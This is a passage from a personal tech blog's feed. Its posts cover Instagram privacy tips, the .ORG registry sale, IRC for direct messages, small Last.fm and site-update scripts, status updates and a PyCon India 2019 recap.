Rules of Criminal Procedure or equivalent state warrant procedures
upon a showing of probable cause is required to compel the disclosure
of the stored contents of any account, which may include messages,
photos, comments, and location information.</p>
</blockquote>

<p>That out of the way, here&rsquo;s a list of DOs and DON&rsquo;Ts to keep in mind
while posting on Instagram.</p>

<h3 id="don-ts">DON&rsquo;Ts</h3>

<ul>
<li><p>Use Instagram for planning and orchestrating illegal shit! I&rsquo;ve
explained why this is a terrible idea above. Use secure comms&mdash;even
WhatsApp is a better choice, if you have nothing else. In fact, try
avoiding IG DMs altogether, use alternatives that implement E2EE.</p></li>

<li><p>Film live videos outside. Or try not to, if you can. You might
unknowingly include information about your location: street signs,
shops etc. These can be used to ascertain your current location.</p></li>

<li><p>Film live videos in places you visit often. This compromises your
security at places you&rsquo;re bound to be at.</p></li>

<li><p>Share your flight ticket in your story! I can&rsquo;t stress this enough!!!
Summer/winter break? &ldquo;Look guys, I&rsquo;m going home! Here&rsquo;s where I live,
and here&rsquo;s my flight number&mdash;feel free to track me!&rdquo;. This scenario is
especially worrisome because the start and end points are known to the
threat actor, and your arrival time can be trivially looked up&mdash;thanks
to the flight number on your ticket. So, just don&rsquo;t.</p></li>

<li><p>Post screenshots with OS specific details. This might border on
pendantic, but better safe than sorry. Your phone&rsquo;s statusbar and navbar
are better cropped out of pictures. They reveal the time, notifications
(apps that you use), and can be used to identify your phone&rsquo;s operating
system. Besides, the status/nav bar isn&rsquo;t very useful to your screenshot
anyway.</p></li>

<li><p>Share your voice. In general, reduce your footprint on the platform
that can be used to identify you elsewhere.</p></li>

<li><p>Think you&rsquo;re safe if your account is set to private. It doesn&rsquo;t take
much to get someone who follows you, to show show your profile on their
device.</p></li>
</ul>

<h3 id="dos">DOs</h3>

<ul>
<li><p>Post pictures that pertain to a specific location, once you&rsquo;ve moved
out of the location. Also applies to stories. It can wait.</p></li>

<li><p>Post pictures that have been shot indoors. Or try to; reasons above.
Who woulda thunk I&rsquo;d advocate bathroom selfies?</p></li>

<li><p>Delete old posts that are irrelevant to your current audience. Your
friends at work don&rsquo;t need to know about where you went to high school.</p></li>
</ul>

<p>More DON&rsquo;Ts than DOs, that&rsquo;s very telling. Here are a few more points
that are good OPSEC practices in general:</p>

<ul>
<li><strong>Think before you share</strong>. Does it conform to the rules mentioned above?</li>
<li><strong>Compartmentalize</strong>. Separate as much as you can from what you share
online, from what you do IRL. Limit information exposure.</li>
<li><strong>Assess your risks</strong>: Do this often. People change, your environments
change, and consequentially the risks do too.</li>
</ul>

<h2 id="fin">Fin</h2>

<p>Instagram is&mdash;much to my dismay&mdash;far too popular for it to die any
time soon. There are plenty of good reasons to stop using the platform
altogether (hint: Facebook), but that&rsquo;s a discussion for another day.</p>

<p>Or be like me:</p>

<p><img src="https://cdn.icyphox.sh/fI7nL.jpg" alt="" /></p>

<p>And that pretty much wraps it up, with a neat little bow.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:ddepisode"><a href="https://darknetdiaries.com/episode/51/" rel="nofollow">https://darknetdiaries.com/episode/51/</a>&mdash;Jack talks about Indian hackers who operate on Instagram. <a class="footnote-return" href="#fnref:ddepisode"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Save .ORG!</title>
|
||
<updated>2019-11-23T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-11-23:blog/save-org</id>
|
||
<link href="https://icyphox.sh/blog/save-org"></link>
|
||
<summary type="html"><h2>PIR is getting sold to a private firm, and here's why it's bad</h2>
<p>The .ORG top-level domain introduced in 1985, has been operated by the
<a href="https://en.wikipedia.org/wiki/Public_Interest_Registry" rel="nofollow">Public Interest
Registry</a> since
2003.</p>

<p>The .ORG TLD is used primarily by communities, free and open source
projects, and other non-profit organizations&mdash;although the use of the
TLD isn&rsquo;t restricted to non-profits.</p>

<p>The Internet Society or ISOC, the group that created the PIR, has
decided to sell the registry over to a private equity firm&mdash;Ethos
Capital.</p>

<h2 id="what-s-the-problem">What&rsquo;s the problem?</h2>

<p>There are around 10 million .ORG TLDs registered, and a good portion of
them are non-profits and non-governmental organizations. As the name
suggests, they don&rsquo;t earn any profits and all their operations rely on
a thin inflow of donations. A private firm having control of the .ORG
domain gives them the power to make decisions that would be unfavourable
to the .ORG community:</p>

<ul>
<li><p>They control the registration/renewal fees of the TLD. They can
hike the price if they wish to. As is stands, NGOs already earn very
little&mdash;a .ORG price hike would put them in a very icky situation.</p></li>

<li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en" rel="nofollow">Rights Protection
Mechanisms</a>
or RPMs, which are essentially legal statements that can&mdash;if not
correctly developed&mdash;jeopardize / censor completely legal non-profit
activities.</p></li>

<li><p>Lastly, they can suspend domains at the whim of state actors. It isn&rsquo;t
news that nation states go after NGOs, targetting them with allegations
of illegal activity. The registry being a private firm only simplifies
the process.</p></li>
</ul>

<p>Sure, these are just &ldquo;what ifs&rdquo; and speculations, but the risk is real.
Such power can be abused and this would be severly detrimental to NGOs
globally.</p>

<h2 id="how-can-i-help">How can I help?</h2>

<p>We need to get the ISOC to <strong>stop the sale</strong>. Head over to
<a href="https://savedotorg.org" rel="nofollow">https://savedotorg.org</a> and sign their letter. An email is sent on your
behalf to:</p>

<ul>
<li>Andrew Sullivan, CEO, ISOC</li>
<li>Jon Nevett, CEO, PIR</li>
<li>Maarten Botterman, Board Chair, ICANN</li>
<li>Göran Marby, CEO, ICANN</li>
</ul>

<h2 id="closing-thoughts">Closing thoughts</h2>

<p>The Internet that we all love and care for is slowly being subsumed by
megacorps and private firms, who&rsquo;s only motive is to make a profit. The
Internet was meant to be free, and we&rsquo;d better act now if we want that
freedom. The future looks bleak&mdash;I hope we aren&rsquo;t too late.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Status update</title>
|
||
<updated>2019-11-16T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-11-16:blog/2019-11-16</id>
|
||
<link href="https://icyphox.sh/blog/2019-11-16"></link>
|
||
<summary type="html"><h2>Exams, stuff, etc.</h2>
<p>This month is mostly just unfun stuff, lined up in a neat schedule&mdash;exams. I get all these cool ideas for things to do, and it&rsquo;s always
during exams. Anyway, here&rsquo;s a quick update on what I&rsquo;ve been up to.</p>

<h2 id="blog-post-queue">Blog post queue</h2>

<p>I realized that I could use this site&rsquo;s
<a href="https://github.com/icyphox/site" rel="nofollow">repo</a>&rsquo;s issues to track blog post ideas.
I&rsquo;ve made a few, mostly just porting them over from my Google Keep note.</p>

<p>This method of using issues is great, because readers can chime in with
ideas for things I could possibly discuss&mdash;like in <a href="https://github.com/icyphox/site/issues/10" rel="nofollow">this
issue</a>.</p>

<h2 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h2>

<p><a href="https://github.com/icyphox/vite" rel="nofollow"><code>vite</code></a>, despite what the name suggests
-- is awfully slow. Also, Python is bloat.
Will rewriting it fix that? That&rsquo;s what I plan to find out. I have
a couple of choices of languages to use in the rewrite:</p>

<ul>
<li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li>
<li>Nim: My favourite, but I&rsquo;ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown" rel="nofollow"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li>
<li>Shell: Another favourite, muh &ldquo;minimalsm&rdquo;. No downside, really.
(<code>shite</code>?)</li>
</ul>

<p>Oh, and did I mention&mdash;I want it to be compatible with <code>vite</code>.
I don&rsquo;t want to have to redo my site structure or its templates. At the
moment, I rely on Jinja2 for templating, so I&rsquo;ll need something similar.</p>

<h2 id="irc-bot">IRC bot</h2>

<p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of
traction, which was pretty cool. I didn&rsquo;t really talk much about the bot
itself though; I&rsquo;m dedicating this section to
<a href="https://github.com/icyphox/detotated" rel="nofollow">detotated</a>.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p>

<p>Fairly simple Python code, using plain sockets. So far, we&rsquo;ve got a few
basic features in place:</p>

<ul>
<li><code>.np</code> command: queries the user&rsquo;s last.fm to get the currently playing
track</li>
<li>Fetches the URL title, when a URL is sent in chat</li>
</ul>

<p>That&rsquo;s it, really. I plan to add a <code>.nps</code>, or &ldquo;now playing Spotify&rdquo;
command, since we share Spotify links pretty often.</p>

<h2 id="other">Other</h2>

<p>I&rsquo;ve been reading some more manga, I&rsquo;ll update the <a href="/reading">reading
log</a> when I, well&hellip; get around to it. Haven&rsquo;t had time to do
much in the past few weeks&mdash;the time at the end of a semester tends to
get pretty tight. Here&rsquo;s what I plan to get back to during this winter break:</p>

<ul>
<li>Russian!</li>
<li>Window manager in Nim</li>
<li><code>vite</code> rewrite, probably</li>
<li>The other blog posts in queue</li>
</ul>

<p>I&rsquo;ve also put off doing any &ldquo;security work&rdquo; for a while now, perhaps
that&rsquo;ll change this December. Or whenever.</p>

<p>With that ends my status update, on all things that I <em>haven&rsquo;t</em> done.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><a href="https://knowyourmeme.com/memes/dedotated-wam" rel="nofollow">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know) <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>IRC for DMs</title>
|
||
<updated>2019-11-03T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-11-03:blog/irc-for-dms</id>
|
||
<link href="https://icyphox.sh/blog/irc-for-dms"></link>
|
||
<summary type="html"><h2>Honestly, it's pretty great</h2>
<p><a href="https://nerdypepper.me" rel="nofollow">Nerdy</a> and I decided to try and use IRC for our
daily communications, as opposed to non-free alternatives like WhatsApp
or Telegram. This is an account of how that went.</p>

<h2 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h2>

<p>I&rsquo;ve tried a <em>ton</em> of messaging applications&mdash;Signal, WhatsApp,
Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>

<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
centralized architecture, and OWS&rsquo;s refusal to federate.</p>

<p><strong>WhatsApp</strong>: Facebook&rsquo;s spyware that people use without a second
thought. The sole reason I have it installed is for University&rsquo;s
class groups; I can&rsquo;t wait to graduate.</p>

<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It&rsquo;s
got a very nice Android client, though.</p>

<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
on this because I don&rsquo;t recall what my experience was like, but I&rsquo;m not
using it now&hellip; so if that&rsquo;s indicative of anything.</p>

<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
Overall, pretty great, but it&rsquo;s slow. I&rsquo;ve had messages not send / not
received a lot of times. Matrix + Riot excels in group communication, but
really sucks for one-to-one chats.</p>

<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>

<p><strong>DeltaChat</strong>: Pretty interesting idea&mdash;on paper. Using existing email
infrastructure for IM sounds great, but it isn&rsquo;t all that cash in
practice. Email isn&rsquo;t instant, there&rsquo;s always a delay of give or take
5 to 10 seconds, if not more. This affects the flow of conversation.
I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref:deltachat"><a href="#fn:deltachat">1</a></sup></p>

<h2 id="why-irc">Why IRC?</h2>

<p>It&rsquo;s free, in all senses of the word. A lot of others have done a great
job of answering this question in further detail, this is by far my
favourite:</p>

<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html" rel="nofollow">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>

<h2 id="using-irc-s-private-messages">Using IRC&rsquo;s private messages</h2>

<p>This was the next obvious choice, but personal message buffers don&rsquo;t
persist in ZNC and it&rsquo;s very annoying to have to do a <code>/query
nerdypepper</code> (Weechat) or to search and message a user via Revolution
IRC. The only unexplored option&mdash;using a channel.</p>

<h2 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h2>

<p>A fairly easy process:</p>

<ul>
<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref:modes"><a href="#fn:modes">2</a></sup>:</p>

<pre><code>#crimson [+ilnpstz 3]
</code></pre>
<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
modes.</p></li>

<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/" rel="nofollow">lnotify.py</a>
to send a notification for all messages in the specified buffer
(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
hand, has an option to setup rules for notifications&mdash;super
convenient.</p></li>

<li><p>A bot: Lastly, a bot for a few small tasks&mdash;fetching URL titles, responding
to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
took me about an hour or two to get most of the basic functionality in
place. The source is <a href="https://github.com/icyphox/detotated" rel="nofollow">here</a>.
It is by no means &ldquo;good code&rdquo;; it breaks spectacularly from time to
time.</p></li>
</ul>

<h2 id="in-conclusion">In conclusion</h2>

<p>As the subtitle suggests, using IRC has been great. It&rsquo;s probably not
for everyone though, but it fits my (and Nerdy&rsquo;s) usecase perfectly.</p>

<p>P.S.: <em>I&rsquo;m not sure why the footnotes are reversed.</em></p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:deltachat">It&rsquo;s in <a href="https://github.com/icyphox/site/issues/10" rel="nofollow">queue</a>. <a class="footnote-return" href="#fnref:deltachat"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:modes">Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes" rel="nofollow">Rizon</a>. <a class="footnote-return" href="#fnref:modes"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>The intelligence conundrum</title>
|
||
<updated>2019-10-28T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-10-28:blog/intel-conundrum</id>
|
||
<link href="https://icyphox.sh/blog/intel-conundrum"></link>
|
||
<summary type="html"><h2>To protect an asset, or to protect the people?</h2>
<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series" rel="nofollow">S.W.A.T.</a>)
episode a couple of days ago, and it highlighted some interesting issues that
intelligence organizations face when working with law enforcement. Side note: it&rsquo;s a pretty
good show if you like police procedurals.</p>

<h2 id="the-problem">The problem</h2>

<p>Consider the following scenario:</p>

<ul>
<li>There&rsquo;s a local drug lord who&rsquo;s been recruited to provide intel, by a certain 3-letter organization.</li>
<li>Local PD busts his operation and proceed to arrest him.</li>
<li>3-letter org steps in, wants him released.</li>
</ul>

<p>So here&rsquo;s the thing, his presence is a threat to public but at the same time,
he can be a valuable long term asset&mdash;giving info on drug inflow, exchanges and perhaps even
actionable intel on bigger fish who exist on top of the ladder. But he also
seeks security. The 3-letter org must provide him with protection,
in case he&rsquo;s blown. And like in our case, they&rsquo;d have to step in if he gets arrested.</p>

<p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
Who matters more, the people they&rsquo;ve sworn to protect, or the asset?
Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>

<p>Thus, the question arises&mdash;how can we measure the &ldquo;usefulness&rdquo; of an
asset to better quantify the tradeoff that is to be made?
Is the intel gained worth the loss of public safety?
This question remains largely unanswered, and is quite the
predicament should you find yourself in it.</p>

<p>This was a fairly short post, but an interesting problem to ponder
nonetheless.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Hacky scripts</title>
|
||
<updated>2019-10-24T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-10-24:blog/hacky-scripts</id>
|
||
<link href="https://icyphox.sh/blog/hacky-scripts"></link>
|
||
<summary type="html"><h2>The most fun way to learn to code</h2>
<p>As a CS student, I see a lot of people around me doing courses online
to learn to code. Don&rsquo;t get me wrong&mdash;it probably works for some.
Everyone learns differently. But that&rsquo;s only going to get you so far.
Great you know the syntax, you can solve some competitive programming
problems, but that&rsquo;s not quite enough, is it? The actual learning comes
from <em>applying</em> it in solving <em>actual</em> problems&mdash;not made up ones.
(<em>inb4 some seething CP bro comes at me</em>)</p>

<p>Now, what&rsquo;s an actual problem? Some might define it as real world
problems that people out there face, and solving it probably requires
building a product. This is what you see in hackathons, generally.</p>

<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
face. This could be anything. Heck, it might not even be a &ldquo;problem&rdquo;. It
could just be an itch that you want to scratch. And this is where
<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
examples.</p>

<h2 id="now-playing-status-in-my-bar">Now playing status in my bar</h2>

<p>If you weren&rsquo;t aware already&mdash;I rice my desktop. A lot. And a part of
this cohesive experience I try to create involves a status bar up at the
top of my screen, showing the time, date, volume and battery statuses etc.</p>

<p>So here&rsquo;s the &ldquo;problem&rdquo;. I wanted to have my currently playing song
(Spotify), show up on my bar. How did I approach this? A few ideas
popped up in my head:</p>

<ul>
<li>Send <code>playerctl</code>&rsquo;s STDOUT into my bar</li>
<li>Write a Python script to query Spotify&rsquo;s API</li>
<li>Write a Python/shell script to query Last.fm&rsquo;s API</li>
</ul>

<p>The first approach bombed instantly. <code>playerctl</code> didn&rsquo;t recognize my
Spotify client and whined about some <code>dbus</code> issues to top it off.
I spent a while in that rabbit hole but eventually gave up.</p>

<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/" rel="nofollow">docs</a> and
I realize that I&rsquo;ll have to make <em>more</em> than one request to fetch the
artist and track details. Nope, I need this to work fast.</p>

<p>Last resort&mdash;Last.fm&rsquo;s API. Spolier alert, this worked. Also, arguably
the best choice, since it shows the track status regardless of where
the music is being played. Here&rsquo;s the script in its entirety:</p>

<pre><code class="language-shell">#!/usr/bin/env bash
# now playing
# requires the last.fm API key

source ~/.lastfm # `export API_KEY=&quot;&lt;key&gt;&quot;`
fg=&quot;$(xres color15)&quot;
light=&quot;$(xres color8)&quot;

USER=&quot;icyphox&quot;
URL=&quot;http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks&quot;
URL+=&quot;&amp;user=$USER&amp;api_key=$API_KEY&amp;format=json&amp;limit=1&amp;nowplaying=true&quot;
NOTPLAYING=&quot; &quot; # I like to have it show nothing
RES=$(curl -s $URL)
NOWPLAYING=$(jq '.recenttracks.track[0].&quot;@attr&quot;.nowplaying' &lt;&lt;&lt; &quot;$RES&quot; | tr -d '&quot;')


if [[ &quot;$NOWPLAYING&quot; = &quot;true&quot; ]]
then
	TRACK=$(jq '.recenttracks.track[0].name' &lt;&lt;&lt; &quot;$RES&quot; | tr -d '&quot;')
	ARTIST=$(jq '.recenttracks.track[0].artist.&quot;#text&quot;' &lt;&lt;&lt; &quot;$RES&quot; | tr -d '&quot;')
	echo -ne &quot;%{F$light}$TRACK %{F$fg}by $ARTIST&quot;
else
	echo -ne &quot;$NOTPLAYING&quot;
fi
</code></pre>

<p>The <code>source</code> command is used to fetch the API key which I store at
<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they&rsquo;re only
for coloring output on my bar. The rest is fairly trivial and just
involves JSON parsing with <a href="https://stedolan.github.io/jq/" rel="nofollow"><code>jq</code></a>.
That&rsquo;s it! It&rsquo;s so small, but I learnt a ton. For those curious, here&rsquo;s
what it looks like running:</p>

<p><img src="https://cdn.icyphox.sh/orGJ9.png" alt="" /></p>

<h2 id="update-latest-post-on-the-index-page">Update latest post on the index page</h2>

<p>This pertains to this very blog that you&rsquo;re reading. I wanted a quick
way to update the &ldquo;latest post&rdquo; section in the home page and the
<a href="/blog">blog</a> listing, with a link to the latest post. This would require
editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages" rel="nofollow">source</a>
of both pages.</p>

<p>This was a very
interesting challenge to me, primarily because it requires in-place
editing of the file, not just appending. Sure, I could&rsquo;ve come up with
some <code>sed</code> one-liner, but that didn&rsquo;t seem very fun. Also I hate
regexes. Did a lot of research (read: Googling) on in-place editing of
files in Python, sorting lists of files by modification time etc. and
this is what I ended up on, ultimately:</p>

<pre><code class="language-python">#!/usr/bin/env python3

from markdown2 import markdown_path
import os
import fileinput
import sys

# change our cwd
os.chdir(&quot;bin&quot;)

blog = &quot;../pages/blog/&quot;

# get the most recently created file
def getrecent(path):
 files = [path + f for f in os.listdir(blog) if f not in [&quot;_index.md&quot;, &quot;feed.xml&quot;]]
 files.sort(key=os.path.getmtime, reverse=True)
 return files[0]

# adding an entry to the markdown table
def update_index(s):
 path = &quot;../pages/_index.md&quot;
 with open(path, &quot;r&quot;) as f:
 md = f.readlines()
 ruler = md.index(&quot;| -- | --: |\n&quot;)
 md[ruler + 1] = s + &quot;\n&quot;

 with open(path, &quot;w&quot;) as f:
 f.writelines(md)

# editing the md source in-place
def update_blog(s):
 path = &quot;../pages/blog/_index.md&quot;
 s = s + &quot;\n&quot;
 for l in fileinput.FileInput(path, inplace=1):
 if &quot;--:&quot; in l:
 l = l.replace(l, l + s)
 print(l, end=&quot;&quot;),


# fetch title and date
meta = markdown_path(getrecent(blog), extras=[&quot;metadata&quot;]).metadata
fname = os.path.basename(os.path.splitext(getrecent(blog))[0])
url = &quot;/blog/&quot; + fname
line = f&quot;| [{meta['title']}]({url}) | `{meta['date']}` |&quot;

update_index(line)
update_blog(line)
</code></pre>

<p>I&rsquo;m going to skip explaining this one out, but in essence, it&rsquo;s <strong>one
massive hack</strong>. And in the end, that&rsquo;s my point exactly. It&rsquo;s very
hacky, but the sheer amount I learnt by writing this ~50
line script can&rsquo;t be taught anywhere.</p>

<p>This was partially how
<a href="https://github.com/icyphox/vite" rel="nofollow">vite</a> was born. It was originally
intended to be a script to build my site, but grew into a full-blown
Python package. I could&rsquo;ve just
used an off-the-shelf static site generator
given that there are <a href="https://staticgen.com" rel="nofollow">so many</a> of them, but
I chose to write one myself.</p>

<p>And that just about sums up what I wanted to say. The best and most fun
way to learn to code&mdash;write hacky scripts. You heard it here.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Status update</title>
|
||
<updated>2019-10-17T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-10-17:blog/2019-10-17</id>
|
||
<link href="https://icyphox.sh/blog/2019-10-17"></link>
|
||
<summary type="html"><h2>Not weekly anymore, but was it ever?</h2>
<p>I&rsquo;ve decided to drop the &ldquo;Weekly&rdquo; part of the status update posts, since
they were never weekly and&mdash;let&rsquo;s be honest&mdash;they aren&rsquo;t going to be.
These posts are, henceforth, just &ldquo;Status updates&rdquo;. The date range can
be inferred from the post date.</p>

<p>That said, here&rsquo;s what I&rsquo;ve been up to!</p>

<h2 id="void-linux">Void Linux</h2>

<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
really. The very comfy <code>apk</code>, ultra mnml system&hellip; but having to
maintain a chroot for my glibc needs was getting way too painful. And
the package updates are so slow! Heck, they&rsquo;re still on kernel 4.xx on
their supposed &ldquo;bleeding&rdquo; <code>edge</code> repo.</p>

<p>So yes, Void Linux it is. Still a very clean system. I&rsquo;m loving it.
I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt" rel="nofollow"><code>undervolt</code></a>
(-95 mV). Can&rsquo;t say for sure if there&rsquo;s a noticeable difference in
battery life though. I&rsquo;ll see if I can run some tests.</p>

<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>

<h2 id="pycon">PyCon</h2>

<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>

<h2 id="this-website">This website</h2>

<p>I&rsquo;ve moved out of GitHub Pages over to Netlify. This isn&rsquo;t my first time
using Netlify, though. I used to host my old blog which ran Hugo, there.
I was tired of doing this terrible hack to maintain a single repo for
both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here&rsquo;s
what I did:</p>

<pre><code class="language-shell">#!/usr/bin/env bash

git push origin master
# push contents of `build/` to the `gh-pages` branch
git subtree push --prefix build origin gh-pages
</code></pre>

<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
by installing <a href="https://github.com/icyphox/vite" rel="nofollow">vite</a>, and running <code>vite
build</code>. Very pleasant.</p>

<h2 id="mnmlwm-s-status"><code>mnmlwm</code>&rsquo;s status</h2>

<p><a href="https://github.com/minimalwm/minimal" rel="nofollow">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
window manager written in Nim. I&rsquo;d taken a break from it for a while
because Xlib is such a pain to work with (or I&rsquo;m just dense). Anyway,
I&rsquo;m planning on getting back to it, with some fresh inspiration from
Dylan Araps&rsquo; <a href="https://github.com/dylanaraps/sowm" rel="nofollow">sowm</a>.</p>

<h2 id="other">Other</h2>

<p>I&rsquo;ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
Monogatari</em> (till the latest chapter) and <em>Another</em>, and I&rsquo;ve just
started <em>Kakegurui</em>. I&rsquo;ll reserve my opinions for when I update the
<a href="/reading">reading log</a>.</p>

<p>That&rsquo;s about it, and I&rsquo;ll see you&mdash;definitely not next week.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>PyCon India 2019 wrap-up</title>
|
||
<updated>2019-10-15T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-10-15:blog/pycon-wrap-up</id>
|
||
<link href="https://icyphox.sh/blog/pycon-wrap-up"></link>
|
||
<summary type="html"><h2>Pretty fun weekend, I'd say</h2>
<p>I&rsquo;m writing this article as I sit in class, back on the grind. Last
weekend&mdash;Oct 12th and 13th&mdash;was PyCon India 2019, in Chennai, India.
It was my first PyCon, <em>and</em> my first ever talk at a major conference!
This is an account of the all the cool stuff I saw, people I met and the
talks I enjoyed.
Forgive the lack of pictures&mdash;I prefer living the moment through my
eyes.</p>

<h2 id="talks">Talks</h2>

<p>So much ML! Not that it&rsquo;s a bad thing, but definitely interesting to
note. From what I counted, there were about 17 talks tagged under &ldquo;Data
Science, Machine Learning and AI&rdquo;. I&rsquo;d have liked to see more talks
discussing security and privacy, but hey, the organizers can only pick
from what&rsquo;s submitted. ;)</p>

<p>With that point out of the way, here are some of the talks I really liked:</p>

<ul>
<li><strong>Python Packaging - where we are and where we&rsquo;re headed</strong> by <a href="https://twitter.com/pradyunsg" rel="nofollow">Pradyun</a></li>
<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer" rel="nofollow">Vinay</a></li>
<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia" rel="nofollow">Vikrant</a></li>
<li><strong>Let&rsquo;s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus" rel="nofollow">Sanket</a></li>
<li>oh and of course, <a href="https://twitter.com/dabeaz" rel="nofollow">David Beazley</a>&rsquo;s closing
keynote</li>
</ul>

<h2 id="my-talk">My talk (!!!)</h2>

<p>My good buddy <a href="https://twitter.com/_vologue" rel="nofollow">Raghav</a> and I spoke about
our smart lock security research. Agreed, it might have been less
&ldquo;hardware&rdquo; and more of a bug on the server-side, but that&rsquo;s the thing
about IoT right? It&rsquo;s so multi-faceted, and is an amalgamation of so
many different hardware and software stacks. But, anyway&hellip;</p>

<p>I was reassured by folks after the talk that the silence during Q/A was
the &ldquo;good&rdquo; kind of silence. Was it really? I&rsquo;ll never know.</p>

<h2 id="some-nice-people-i-met">Some nice people I met</h2>

<ul>
<li><a href="https://twitter.com/abhirathb" rel="nofollow">Abhirath</a>&mdash;A 200 IQ lad. Talked to
me about everything from computational biology to the physical
implementation of quantum computers.</li>
<li><a href="https://twitter.com/meain_" rel="nofollow">Abin</a>&mdash;He recognized me from my
<a href="https://reddit.com/r/unixporn" rel="nofollow">r/unixporn</a> posts, which was pretty
awesome.</li>
<li><a href="https://twitter.com/h6165" rel="nofollow">Abhishek</a></li>
<li>Pradyun and Vikrant (linked earlier)</li>
</ul>

<p>And a lot of other people doing really great stuff, whose names I&rsquo;m
forgetting.</p>

<h2 id="pictures">Pictures!</h2>

<p>It&rsquo;s not much, and
I can&rsquo;t be bothered to format them like a collage or whatever, so I&rsquo;ll
just dump them here&mdash;as is.</p>

<p><img src="https://cdn.icyphox.sh/4oTZB.jpg" alt="" />
<img src="https://cdn.icyphox.sh/EApua.jpg" alt="" />
<img src="https://cdn.icyphox.sh/40hAp.jpg" alt="" />
<img src="https://cdn.icyphox.sh/uCDR-.jpg" alt="" /></p>

<h2 id="c-est-tout">C&rsquo;est tout</h2>

<p>Overall, a great time and a weekend well spent. It was very different
from your typical security conference&mdash;a lot more <em>chill</em>, if you
will. The organizers did a fantastic job and the entire event was put
together really well.
I don&rsquo;t have much else to say, but I know for sure that I&rsquo;ll be
there next time.</p>

<p>That was PyCon India, 2019.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Thoughts on digital minimalism</title>
|
||
<updated>2019-10-05T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-10-05:blog/digital-minimalism</id>
|
||
<link href="https://icyphox.sh/blog/digital-minimalism"></link>
|
||
<summary type="html"><h2>Put that screen down!</h2>
<p>Ah yes, yet another article on the internet on this beaten to death
subject. But this is inherently different, since it&rsquo;s <em>my</em> opinion on
the matter, and <em>my</em> technique(s) to achieve &ldquo;digital minimalism&rdquo;.</p>

<p>According to me, minimalism can be achieved on two primary fronts&mdash;the phone &amp; the computer. Let&rsquo;s start with the phone. The daily carry.
The device that&rsquo;s on our person from when we get out of bed, till we get
back in bed.</p>

<h2 id="the-phone">The phone</h2>

<p>I&rsquo;ve read about a lot of methods people employ to curb their phone
usage. Some have tried grouping &ldquo;distracting&rdquo; apps into a separate
folder, and this supposedly helps reduce their usage. Now, I fail to see
how this would work, but YMMV. Another technique I see often is using
